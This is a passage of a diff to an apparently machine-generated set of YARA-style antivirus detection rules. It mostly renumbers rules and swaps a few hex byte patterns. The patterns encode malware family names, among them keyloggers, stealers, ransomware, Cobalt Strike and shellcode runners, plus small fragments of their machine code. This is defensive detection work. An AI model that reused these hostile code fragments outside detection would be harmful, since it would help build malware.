59 13 90 00 01 00 11 03 37 03 16 2b 01 17 17 59 90 02 22 95 61 59 13 90 00 00 00 78 } //16675 + $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4b 65 79 6c 6f 67 67 65 72 2e 4e 41 56 21 4d 54 42 00 02 00 11 01 00 08 07 d6 0c 07 1f 1f 63 08 61 07 1f 1f 63 06 61 01 00 12 03 01 00 0a 06 61 90 01 05 5a 0a 07 17 58 0b 07 02 90 00 00 00 78 } //16675 condition: ((#a_46_0 & 1)*16675) >=3 } -rule _InfrastructureShared_4376{ +rule _InfrastructureShared_4559{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -45252,7 +47136,7 @@ rule _InfrastructureShared_4376{ ((#a_54_0 & 1)*18467+(#a_23_1 & 1)*3+(#a_6a_2 & 1)*-32503) >=3 } -rule _InfrastructureShared_4377{ +rule _InfrastructureShared_4560{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -45264,7 +47148,7 @@ rule _InfrastructureShared_4377{ ((#a_54_0 & 1)*18467+(#a_23_1 & 1)*3+(#a_6c_2 & 1)*26707) >=3 } -rule _InfrastructureShared_4378{ +rule _InfrastructureShared_4561{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -45276,7 +47160,7 @@ rule _InfrastructureShared_4378{ ((#a_54_0 & 1)*18467+(#a_23_1 & 1)*3+(#a_44_2 & 1)*275) >=3 } -rule _InfrastructureShared_4379{ +rule _InfrastructureShared_4562{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -45286,28 +47170,19 @@ rule _InfrastructureShared_4379{ ((#a_46_0 & 1)*21283) >=3 } -rule _InfrastructureShared_4380{ +rule _InfrastructureShared_4563{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : - $a_6c_0 = {64 69 6d 69 72 5f 65 78 70 6c 6f 69 74 2e 33 00 01 00 14 00 4d 00 79 00 44 00 6f 00 6e 00 6f 00 72 00 57 00 6e 00 64 00 01 00 12 00 4d 00 79 00 4d 00 61 00 69 00 6e 00 57 00 6e 00 64 00 01 00 07 01 49 73 4d 65 6e 75 00 00 00 78 57 00 00 04 00 04 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4f 66 66 4c 6f 61 64 } //30243 - $a_47_1 = {50 43 21 4d 54 42 00 04 00 25 03 72 44 6c 50 74 53 cd e6 d7 7b 0b 2a 01 00 00 00 90 01 03 00 90 01 03 00 00 60 33 00 33 a5 c9 0f 3a 46 0e } //29285 + $a_6c_0 = {64 69 6d 69 72 5f 65 78 70 6c 6f 69 74 2e 33 00 01 00 14 00 4d 00 79 00 44 00 6f 00 6e 00 6f 00 72 00 57 00 6e 00 64 00 01 00 12 00 4d 00 79 00 4d 00 61 00 69 00 6e 00 57 00 6e 00 64 00 01 00 07 01 49 73 4d 65 6e 75 00 00 00 78 57 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 52 61 67 6e 61 72 6f } //30243 + $a_00_1 = {01 00 06 80 01 70 72 76 5f 69 70 01 00 08 80 01 25 69 2e 25 69 2e 25 69 01 00 06 80 01 70 75 62 5f 69 70 01 00 09 80 01 63 6f 6d 65 74 6f 73 65 65 00 00 78 57 00 00 04 00 04 00 05 00 21 23 48 53 54 52 3a } //11883 + $a_6a_2 = {6e 3a 57 69 6e 33 32 2f 56 75 6e 64 6f 2e 67 65 6e 21 50 2e 31 00 01 00 05 01 68 46 2f ff c5 01 00 05 01 68 84 9b 50 f2 01 00 05 01 68 89 fd 12 a4 01 00 05 01 68 ae d0 16 ab 01 00 05 01 68 db d3 62 b5 00 00 78 57 00 00 04 00 04 00 06 00 21 23 48 53 54 52 3a 57 6f 72 6d 3a 57 69 6e 33 32 2f 4d 6f 72 74 6f 00 01 00 05 01 b8 33 00 32 } //29268 condition: - ((#a_6c_0 & 1)*30243+(#a_47_1 & 1)*29285) >=3 + ((#a_6c_0 & 1)*30243+(#a_00_1 & 1)*11883+(#a_6a_2 & 1)*29268) >=3 } -rule _InfrastructureShared_4381{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 01 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4f 66 66 4c 6f 61 64 65 72 2e 47 50 50 43 21 4d 54 42 00 04 00 25 03 72 44 6c 50 74 53 cd e6 d7 7b 0b 2a 01 00 00 00 90 01 03 00 90 01 03 00 00 60 33 00 33 a5 c9 0f 3a } //21539 - condition: - ((#a_4c_0 & 1)*21539) >=4 - -} -rule _InfrastructureShared_4382{ +rule _InfrastructureShared_4564{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -45318,7 +47193,7 @@ rule _InfrastructureShared_4382{ ((#a_46_0 & 1)*21283+(#a_48_3 & 1)*8448) >=4 } -rule _InfrastructureShared_4383{ +rule _InfrastructureShared_4565{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -45331,7 +47206,7 @@ rule _InfrastructureShared_4383{ ((#a_54_0 & 1)*18467+(#a_23_1 & 1)*6+(#a_00_2 & 1)*-18431+(#a_fb_3 & 1)*2560) >=4 } -rule _InfrastructureShared_4384{ +rule _InfrastructureShared_4566{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -45346,7 +47221,7 @@ rule _InfrastructureShared_4384{ ((#a_54_0 & 1)*18467+(#a_23_1 & 1)*1+(#a_01_2 & 1)*5+(#a_57_3 & 1)*0+(#a_2e_4 & 1)*26469+(#a_01_5 & 1)*5) >=4 } -rule _InfrastructureShared_4385{ +rule _InfrastructureShared_4567{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -45356,7 +47231,7 @@ rule _InfrastructureShared_4385{ ((#a_46_0 & 1)*16675) >=5 } -rule _InfrastructureShared_4386{ +rule _InfrastructureShared_4568{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -45366,7 +47241,7 @@ rule _InfrastructureShared_4386{ ((#a_46_0 & 1)*16675) >=5 } -rule _InfrastructureShared_4387{ +rule _InfrastructureShared_4569{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -45376,7 +47251,7 @@ rule _InfrastructureShared_4387{ ((#a_54_0 & 1)*18467) >=5 } -rule _InfrastructureShared_4388{ +rule _InfrastructureShared_4570{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -45386,17 +47261,17 @@ rule _InfrastructureShared_4388{ ((#a_4c_0 & 1)*21539) >=5 } -rule _InfrastructureShared_4389{ +rule _InfrastructureShared_4571{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 61 7a 79 2e 50 47 52 21 4d 54 42 00 05 00 2b 03 89 4d b4 8a 10 8b 45 e8 89 c1 81 c1 90 01 04 89 4d e8 8a 75 cb 80 c6 4f 88 75 cb 88 10 8b 45 d8 8b 4d b0 01 c8 89 45 } //21539 + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 68 65 6c 6c 63 6f 64 65 52 75 6e 6e 65 72 2e 43 43 4a 58 21 4d 54 42 00 05 00 1f 01 b9 60 ea 00 00 48 8b 05 1c 6d 00 00 ff d0 48 8d 05 e7 1a 00 00 48 89 45 f8 48 8b } //21539 condition: ((#a_4c_0 & 1)*21539) >=5 } -rule _InfrastructureShared_4390{ +rule _InfrastructureShared_4572{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -45410,7 +47285,7 @@ rule _InfrastructureShared_4390{ ((#a_54_0 & 1)*18467+(#a_23_1 & 1)*1+(#a_21_2 & 1)*12850+(#a_48_3 & 1)*8448+(#a_02_4 & 1)*0) >=5 } -rule _InfrastructureShared_4391{ +rule _InfrastructureShared_4573{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -45420,7 +47295,7 @@ rule _InfrastructureShared_4391{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_4392{ +rule _InfrastructureShared_4574{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -45430,7 +47305,7 @@ rule _InfrastructureShared_4392{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_4393{ +rule _InfrastructureShared_4575{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -45440,7 +47315,7 @@ rule _InfrastructureShared_4393{ ((#a_4c_0 & 1)*21539) >=10 } -rule _InfrastructureShared_4394{ +rule _InfrastructureShared_4576{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -45450,7 +47325,7 @@ rule _InfrastructureShared_4394{ ((#a_4c_0 & 1)*21539) >=10 } -rule _InfrastructureShared_4395{ +rule _InfrastructureShared_4577{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -45460,7 +47335,17 @@ rule _InfrastructureShared_4395{ ((#a_4c_0 & 1)*21539) >=10 } -rule _InfrastructureShared_4396{ +rule _InfrastructureShared_4578{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " + + strings : + $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 72 64 52 61 74 2e 41 21 64 68 61 00 05 00 10 01 52 61 63 68 65 6c 20 73 70 65 61 6b 69 6e 67 2e 05 00 13 01 72 75 6e 48 61 6e 64 73 68 61 6b 65 53 65 72 76 69 63 65 00 00 78 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=10 + +} +rule _InfrastructureShared_4579{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -45470,7 +47355,7 @@ rule _InfrastructureShared_4396{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_4397{ +rule _InfrastructureShared_4580{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -45480,7 +47365,7 @@ rule _InfrastructureShared_4397{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4398{ +rule _InfrastructureShared_4581{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -45490,7 +47375,7 @@ rule _InfrastructureShared_4398{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4399{ +rule _InfrastructureShared_4582{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -45500,7 +47385,7 @@ rule _InfrastructureShared_4399{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4400{ +rule _InfrastructureShared_4583{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -45510,7 +47395,7 @@ rule _InfrastructureShared_4400{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4401{ +rule _InfrastructureShared_4584{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -45520,7 +47405,7 @@ rule _InfrastructureShared_4401{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4402{ +rule _InfrastructureShared_4585{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -45530,7 +47415,7 @@ rule _InfrastructureShared_4402{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4403{ +rule _InfrastructureShared_4586{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -45540,7 +47425,7 @@ rule _InfrastructureShared_4403{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4404{ +rule _InfrastructureShared_4587{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -45550,7 +47435,7 @@ rule _InfrastructureShared_4404{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4405{ +rule _InfrastructureShared_4588{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -45560,7 +47445,7 @@ rule _InfrastructureShared_4405{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4406{ +rule _InfrastructureShared_4589{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -45570,7 +47455,7 @@ rule _InfrastructureShared_4406{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4407{ +rule _InfrastructureShared_4590{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -45580,7 +47465,7 @@ rule _InfrastructureShared_4407{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4408{ +rule _InfrastructureShared_4591{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -45590,7 +47475,7 @@ rule _InfrastructureShared_4408{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4409{ +rule _InfrastructureShared_4592{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -45600,7 +47485,7 @@ rule _InfrastructureShared_4409{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4410{ +rule _InfrastructureShared_4593{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -45610,7 +47495,7 @@ rule _InfrastructureShared_4410{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4411{ +rule _InfrastructureShared_4594{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -45620,7 +47505,7 @@ rule _InfrastructureShared_4411{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4412{ +rule _InfrastructureShared_4595{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -45630,7 +47515,7 @@ rule _InfrastructureShared_4412{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4413{ +rule _InfrastructureShared_4596{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -45640,7 +47525,7 @@ rule _InfrastructureShared_4413{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4414{ +rule _InfrastructureShared_4597{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -45650,7 +47535,7 @@ rule _InfrastructureShared_4414{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_4415{ +rule _InfrastructureShared_4598{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -45660,7 +47545,7 @@ rule _InfrastructureShared_4415{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_4416{ +rule _InfrastructureShared_4599{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -45670,7 +47555,7 @@ rule _InfrastructureShared_4416{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4417{ +rule _InfrastructureShared_4600{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -45680,7 +47565,7 @@ rule _InfrastructureShared_4417{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4418{ +rule _InfrastructureShared_4601{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -45690,7 +47575,7 @@ rule _InfrastructureShared_4418{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4419{ +rule _InfrastructureShared_4602{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -45700,7 +47585,7 @@ rule _InfrastructureShared_4419{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4420{ +rule _InfrastructureShared_4603{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -45710,7 +47595,7 @@ rule _InfrastructureShared_4420{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4421{ +rule _InfrastructureShared_4604{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -45720,7 +47605,7 @@ rule _InfrastructureShared_4421{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4422{ +rule _InfrastructureShared_4605{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -45730,7 +47615,7 @@ rule _InfrastructureShared_4422{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4423{ +rule _InfrastructureShared_4606{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -45740,7 +47625,7 @@ rule _InfrastructureShared_4423{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_4424{ +rule _InfrastructureShared_4607{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -45750,7 +47635,7 @@ rule _InfrastructureShared_4424{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_4425{ +rule _InfrastructureShared_4608{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -45760,7 +47645,7 @@ rule _InfrastructureShared_4425{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_4426{ +rule _InfrastructureShared_4609{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -45770,7 +47655,7 @@ rule _InfrastructureShared_4426{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_4427{ +rule _InfrastructureShared_4610{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -45780,7 +47665,17 @@ rule _InfrastructureShared_4427{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_4428{ +rule _InfrastructureShared_4611{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 59 52 54 21 4d 54 42 00 01 00 24 03 49 89 c0 39 da 7d 90 01 01 48 89 d0 83 e0 90 01 01 8a 44 05 90 01 01 32 04 17 41 88 04 10 48 ff c2 eb 90 00 00 00 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=1 + +} +rule _InfrastructureShared_4612{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -45790,7 +47685,7 @@ rule _InfrastructureShared_4428{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_4429{ +rule _InfrastructureShared_4613{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -45800,7 +47695,7 @@ rule _InfrastructureShared_4429{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4430{ +rule _InfrastructureShared_4614{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -45810,7 +47705,7 @@ rule _InfrastructureShared_4430{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4431{ +rule _InfrastructureShared_4615{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -45820,7 +47715,7 @@ rule _InfrastructureShared_4431{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4432{ +rule _InfrastructureShared_4616{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -45830,7 +47725,17 @@ rule _InfrastructureShared_4432{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4433{ +rule _InfrastructureShared_4617{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 61 7a 79 2e 41 43 21 4d 54 42 00 01 00 2d 01 89 94 14 81 f5 ff ff 01 8c 54 0a eb ff ff 66 ff c1 f7 d8 51 66 d3 ac 54 0e eb ff ff 35 37 bc 3f eb d3 e1 d3 ca 33 d8 0f } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_4618{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -45840,17 +47745,27 @@ rule _InfrastructureShared_4433{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4434{ +rule _InfrastructureShared_4619{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 61 74 61 6e 62 75 63 68 75 73 2e 43 43 49 4d 21 4d 54 42 00 01 00 24 03 0f be d0 8b 45 08 0f be 1c 30 33 da 6a 00 6a 01 8b 4d fc 51 8b 55 f8 52 e8 90 01 04 8b 4d 08 } //21539 + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 69 6e 74 2e 41 49 21 4d 54 42 00 01 00 2d 01 66 89 45 c0 b9 7f 40 00 00 66 89 4d c2 c6 45 c4 8a c6 45 c5 f5 c6 45 c6 0d c6 45 c7 f3 c6 45 c8 5a c6 45 c9 00 c6 45 ca } //21539 condition: ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4435{ +rule _InfrastructureShared_4620{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 41 48 21 4d 54 42 00 01 00 2d 03 89 d7 81 c7 01 00 00 00 81 c1 01 00 00 00 89 45 d0 89 c8 89 55 cc 99 f7 fe c7 05 b8 67 4e 00 90 01 02 00 00 8b 4d e4 0f } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_4621{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -45860,7 +47775,7 @@ rule _InfrastructureShared_4435{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4436{ +rule _InfrastructureShared_4622{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -45870,17 +47785,17 @@ rule _InfrastructureShared_4436{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4437{ +rule _InfrastructureShared_4623{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 54 65 64 79 2e 47 50 50 21 4d 54 42 00 01 00 2c 01 73 6f 75 72 63 65 5c 72 65 70 6f 73 5c 43 56 45 2d 32 30 32 34 2d 32 30 36 35 36 5c 45 78 70 6c 5c 78 36 34 5c 52 65 } //21539 + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 74 65 61 6c 65 72 2e 41 42 21 4d 54 42 00 01 00 2a 01 48 33 c5 48 8b 6c 24 30 48 33 c6 48 8b 74 24 38 48 83 f0 ad 0f b6 c0 49 33 c6 48 8b d0 48 d3 ea 41 8b c8 48 d3 } //21539 condition: ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_4438{ +rule _InfrastructureShared_4624{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -45890,27 +47805,17 @@ rule _InfrastructureShared_4438{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_4439{ +rule _InfrastructureShared_4625{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_5f_0 = {78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 31 01 69 6e 76 61 6c 69 64 21 00 6b 72 6e 6c 6e 2e 66 6e 72 00 50 61 74 68 00 53 6f 66 74 77 61 72 65 5c 46 6c 79 53 6b 79 5c 45 5c 49 6e 73 74 61 6c 6c 00 00 78 58 00 00 01 00 01 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4b 75 74 6f 6e 61 } //25635 + $a_5f_0 = {78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 31 01 69 6e 76 61 6c 69 64 21 00 6b 72 6e 6c 6e 2e 66 6e 72 00 50 61 74 68 00 53 6f 66 74 77 61 72 65 5c 46 6c 79 53 6b 79 5c 45 5c 49 6e 73 74 61 6c 6c 00 00 78 58 00 00 01 00 01 00 02 00 21 23 48 53 54 52 3a 44 65 77 69 7a 2e 43 31 00 01 00 17 01 ff c1 89 00 00 } //25635 condition: ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_4440{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4b 75 74 6f 6e 61 2e 42 21 64 68 61 00 01 00 22 01 65 48 8b 04 25 30 00 00 00 4c 8b 40 60 0f b7 c1 8d 0c 40 49 8b 80 f8 00 00 00 c1 e1 03 48 8b 04 01 c3 01 00 06 01 3d 2a 53 59 53 74 00 00 } //16675 - condition: - ((#a_46_0 & 1)*16675) >=1 - -} -rule _InfrastructureShared_4441{ +rule _InfrastructureShared_4626{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -45920,7 +47825,7 @@ rule _InfrastructureShared_4441{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4442{ +rule _InfrastructureShared_4627{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -45930,7 +47835,7 @@ rule _InfrastructureShared_4442{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4443{ +rule _InfrastructureShared_4628{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -45940,7 +47845,7 @@ rule _InfrastructureShared_4443{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4444{ +rule _InfrastructureShared_4629{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -45950,7 +47855,7 @@ rule _InfrastructureShared_4444{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4445{ +rule _InfrastructureShared_4630{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -45960,7 +47865,7 @@ rule _InfrastructureShared_4445{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4446{ +rule _InfrastructureShared_4631{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -45970,7 +47875,7 @@ rule _InfrastructureShared_4446{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_4447{ +rule _InfrastructureShared_4632{ meta: description = 